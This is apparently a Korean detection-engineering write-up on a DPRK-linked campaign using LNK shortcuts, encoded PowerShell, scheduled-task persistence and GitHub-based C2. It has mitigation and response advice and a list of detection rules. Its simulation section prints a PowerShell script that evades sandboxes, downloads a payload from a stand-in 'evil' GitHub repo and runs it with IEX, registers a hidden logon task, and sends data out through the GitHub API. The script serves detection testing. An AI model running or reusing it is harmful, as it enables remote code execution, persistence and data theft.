LNK 및 GitHub C2를 사용하는 북한 관련 캠페인
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
FortiGuard Labs는 DPRK와 연계된 캠페인이 LNK 바로 가기 파일을 무기로 사용하여 암호화된 PowerShell 단계를 실행하고, 예약된 작업을 통해 지속성을 확립하며, GitHub을 통해 데이터를 유출한다고 보고합니다. LNK 명령 줄은 디코딩 논리를 포함하여 운영자들이 Windows 내장 유틸리티에 의존하고 명백한 악성 코드 흔적을 줄일 수 있도록 합니다. 이러한 활동은 한국 내 조직을 겨냥하고 있으며, 다단계 워크플로를 따릅니다. GitHub과 같은 합법적인 공개 인프라를 사용함으로써 이 캠페인은 일반 개발자 트래픽에 혼합되어 네트워크 기반의 차단을 복잡하게 만듭니다.
조사
분석가들은 세 단계로 구성된 체인을 문서화했습니다: (1) 인수에 암호화된 PowerShell을 포함하는 LNK 파일, (2) 분석 방지 검사를 수행하고 VBScript를 투하하고 숨겨진 예약 작업을 생성하며 호스트/시스템 세부 정보를 수집하는 PowerShell 단계, (3) GitHub 저장소에서 반복적으로 추가 모듈을 가져오는 최종 단계. 여러 GitHub 계정이 C2 워크플로를 지원하는 것이 관찰되었으며, GitHub API를 통한 데이터 업로드에 사용된 하드코딩된 액세스 토큰도 포함되었습니다. 운영자들은 매력성을 높이고 사용자 의심을 줄이기 위해 미끼 PDF 문서를 사용했습니다.
완화
신뢰할 수 없는 위치(이메일 다운로드, 임시 폴더, 사용자 프로필 다운로드 경로)에서 유래한 LNK 파일의 실행을 차단하거나 제한하십시오. 의심스러운 PowerShell 및 VBScript 실행 패턴을 모니터링하십시오. 특히, 비정상적인 예약 작업 생성 뒤에 이어지는 경우에 주의하십시오. 가능한 경우, GitHub API 엔드포인트에 대한 아웃바운드 액세스를 업무 필요가 없는 시스템에 대해 제한하거나 프록시하고, 비개발자 호스트에서의 비정상적인 GitHub API 사용을 경고하십시오. 네이티브 Windows 도구의 악용을 식별하기 위해 응용 프로그램 제어 및 EDR 탐지를 강화하십시오.
응답
탐지된 경우, LNK 파일, 예약된 작업 정의 및 투하된 스크립트를 수집하여 엔드포인트를 격리하고 증거를 보존하십시오. 예약 작업을 제거하고 노출된 GitHub 액세스 토큰을 취소한 후 관련 아티팩트 및 추가 모듈에 대한 완전한 호스트 스윕을 수행하십시오. 관련 이해관계자를 통지한 다음, 관찰된 행동과 IoC를 포괄하는 탐지 콘텐츠를 업데이트하여 광범위한 환경 사냥을 지원하십시오.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>액션</b> – <b>T1566.001 피싱: 스피어피싱 첨부파일</b><br/>한국 PDF로 위장한 악성 .lnk 전달"] class action_initial_access action tool_lnk["<b>도구</b> – <b>이름</b>: .lnk 바로 가기<br/><b>기법</b>: T1547.009 바로 가기 수정"] class tool_lnk tool action_execution_lnk["<b>액션</b> – <b>T1547.009 부팅 또는 로그온 시 자동 시작 실행: 바로 가기 수정</b><br/>바로 가기가 PowerShell을 트리거"] class action_execution_lnk action tool_powershell["<b>도구</b> – <b>이름</b>: PowerShell<br/><b>기법</b>: T1059.001 명령 및 스크립트 인터프리터"] class tool_powershell tool action_obfuscation["<b>액션</b> – <b>난독화 기법</b><br/>T1027.012 아이콘 은폐, T1027.008 스트리핑된 페이로드, T1027.009 임베디드 페이로드"] class action_obfuscation action action_sandbox_evasion["<b>액션</b> – <b>T1497.002 가상화/샌드박스 회피</b><br/>분석 도구 여부를 확인하고 중단"] class action_sandbox_evasion action action_decode_payload["<b>액션</b> – <b>T1059.001 PowerShell</b><br/>Base64/XOR 디코딩, %Temp%에 VBScript 작성"] class action_decode_payload action tool_vbscript["<b>도구</b> – <b>이름</b>: VBScript<br/>%Temp%에 스크립트 작성"] class tool_vbscript tool tool_scheduled_task["<b>도구</b> – <b>이름</b>: 예약된 작업<br/><b>기법</b>: T1037 부팅 또는 로그온 초기화 스크립트"] class tool_scheduled_task tool action_persistence["<b>액션</b> – <b>지속성</b><br/>VBScript를 30분마다 실행"] class action_persistence action action_discovery["<b>액션</b> – <b>발견</b><br/>T1082 시스템 정보 찾기, T1057 프로세스 찾기"] class action_discovery action action_c2["<b>액션</b> – <b>명령 및 제어</b><br/>T1567.001 GitHub로 유출, T1102.002 양방향 웹 서비스, T1538 클라우드 서비스 대시보드"] class action_c2 action tool_github["<b>도구</b> – <b>이름</b>: GitHub API<br/>유출 및 모듈 검색에 사용됨"] class tool_github tool %% Connections action_initial_access –>|delivers| tool_lnk tool_lnk –>|triggers| action_execution_lnk action_execution_lnk –>|uses| tool_powershell tool_powershell –>|executes| action_obfuscation action_obfuscation –>|leads to| action_sandbox_evasion action_sandbox_evasion –>|proceeds to| action_decode_payload action_decode_payload –>|writes| tool_vbscript tool_vbscript –>|creates| tool_scheduled_task tool_scheduled_task –>|enables| action_persistence action_persistence –>|collects data for| action_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tool_github "
공격 흐름
탐지
PowerShell 난독화 가능성 표시기 (powershell 사용)
보기
비정상적인 프로세스에 의해 시작된 GitHub 파일 다운로드 가능성 (network_connection 사용)
보기
의심스러운 PowerShell 문자열 (powershell 사용)
보기
PowerShell을 통한 다운로드 또는 업로드 (cmdline 사용)
보기
숨겨진 PowerShell 명령 줄을 통한 실행 가능성 (cmdline 사용)
보기
이중 확장명을 가진 악성 LNK 파일 가능성 (cmdline 사용)
보기
회피 검사 가능성 (powershell 사용)
보기
의심스러운 PowerShell 문자열 (cmdline 사용)
보기
예약된 작업 생성 가능성 (powershell 사용)
보기
탐지할 IoC (HashSha256): LNK 및 GitHub를 사용한 DPRK 관련 캠페인
보기
GitHub에서 지속성 및 데이터 유출을 위한 PowerShell 스크립트 가져오기 [Windows PowerShell]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과되어야 합니다.
논리적 근거: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 적대자의 기법(TTP)의 정확한 실행을 설명합니다. 명령 및 서술은 TTP로 직접 반영되어야 하며, 탐지 로직에 의해 예상되는 정확한 텔레메트리를 생성하려고 노력해야 합니다.
-
공격 서사 및 명령:
적은 Windows 워크스테이션에서 낮은 권한 사용자 계정을 손상시켰습니다. 지속성을 유지하고 데이터를 은밀하게 유출하기 위해, 다음과 같은 단일 PowerShell 한 줄기를 제작합니다:- 일반 분석 도구 프로세스를 확인합니다 (
vmxnet,vboxservice,idaq,fiddler,wireshark). 대응되는 경우, 스크립트는 중단됩니다. - 공개 GitHub 저장소에서 Base64로 인코딩된 페이로드를 다운로드합니다 (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - 메모리 내에서 페이로드를 디코딩하고 실행합니다.
- 를 통해 예약된 작업을 등록합니다
New-ScheduledTaskAction동일한 PowerShell 명령을 각 재부팅시에 재실행하도록 설정합니다 (지속성). - GitHub API (
api.github.com).
를 통해 탈취된 데이터를 공격자의 GitHub 저장소로 다시 보냅니다. 모든 단계는 세미콜론으로 연결되어, 전체
- 일반 분석 도구 프로세스를 확인합니다 (
-
명령 줄은 Sigma 규칙에 필요한 문자열을 포함합니다.
회귀 테스트 스크립트:# ————————————————- # Sigma 조건을 모두 만족하는 단일 명령어 # ————————————————- $envChecks = “vmxnet”,”vboxservice”,”idaq”,”fiddler”,”wireshark” foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri “https://raw.githubusercontent.com/evil/loot/main/payload.b64” $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute “powershell.exe” -Argument “-NoProfile -WindowStyle Hidden -Command `”& {<INSERT SAME ONE‑Liner HERE>}`”” $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName “SysUpdate” -Action $action -Trigger $trigger -RunLevel Highest -Force # 샘플 데이터 유출 $data = “SensitiveInfo” $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri “https://api.github.com/repos/evil/collector/contents/data.txt” -Body $json -Headers @{Authorization=”token <PAT>”} 참고:
으로 바꾸십시오 -
정확히 동일한 한 줄기(재귀)를 저장하거나 중복을 피하기 위해 변수를 사용하십시오. 스크립트는 각 단계를 설명하기 위해 의도적으로 장황하게 작성되었습니다. 실제 캠페인에서는 적이 이를 더욱 압축할 것입니다.
정리 명령: